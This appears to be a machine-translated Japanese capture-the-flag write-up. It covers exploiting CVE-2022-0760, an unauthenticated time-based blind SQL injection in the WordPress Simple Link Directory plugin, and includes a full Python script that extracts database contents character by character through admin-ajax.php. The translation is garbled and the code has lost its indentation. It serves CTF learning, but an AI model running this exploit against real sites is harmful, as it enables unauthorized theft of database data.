NSS [HNCTF 2022 WEEK2]オーマイワードプレス(CVE-2022-0760)
タイトルの説明: フラグはデータベースにあります。
冒頭のトピック:
ボタンに沿ってクリックし続けると、というボタンが見つかります。安装WordPress
インストール後のインターフェースには検索ボックスが表示されます。
F12 を押してネットワークを表示します。
これは再び表示されWordPress
、ソース コードからバージョンがわかることがわかります6.0.2
。
オンラインで検索したところ、 CVE を見つけましたCVE-2022-0760
。プラグインのバージョンが7.7.2未満の場合、タイム ブラインド インジェクションが存在しますWordPress
。Simple Link Directory
ソースコードを確認してください。実際にこのプラグインが使用されていますが、バージョンが表示されません。
これは CVE であると推定されるため、ブラインド インジェクション スクリプトを使用してください。
import requests
import time
url = "http://node5.anna.nssctf.cn:28982/wp-admin/admin-ajax.php"
result = ""
for i in range(1, 100):
length = len(result)
for o in range(32, 128):
data = {
"action": "qcopd_upvote_action",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
"post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{
i},1))={
o},sleep(3),0))enz)",
}
time1 = time.time()
res = requests.post(url, data=data)
time2 = time.time()
# print(time2 - time1)
# exit()
if time2 - time1 > 3:
result += chr(o)
print(result)
break
if len(result) == length:
break
スクリプトがこのように書かれている理由とエクスプロイトについては、以下の記事を参照してください。
参考記事:
Simple Link Directory < 7.7.2 - 認証されていない SQL インジェクションによる WordPress のセキュリティの脆弱性 (wpscan.com)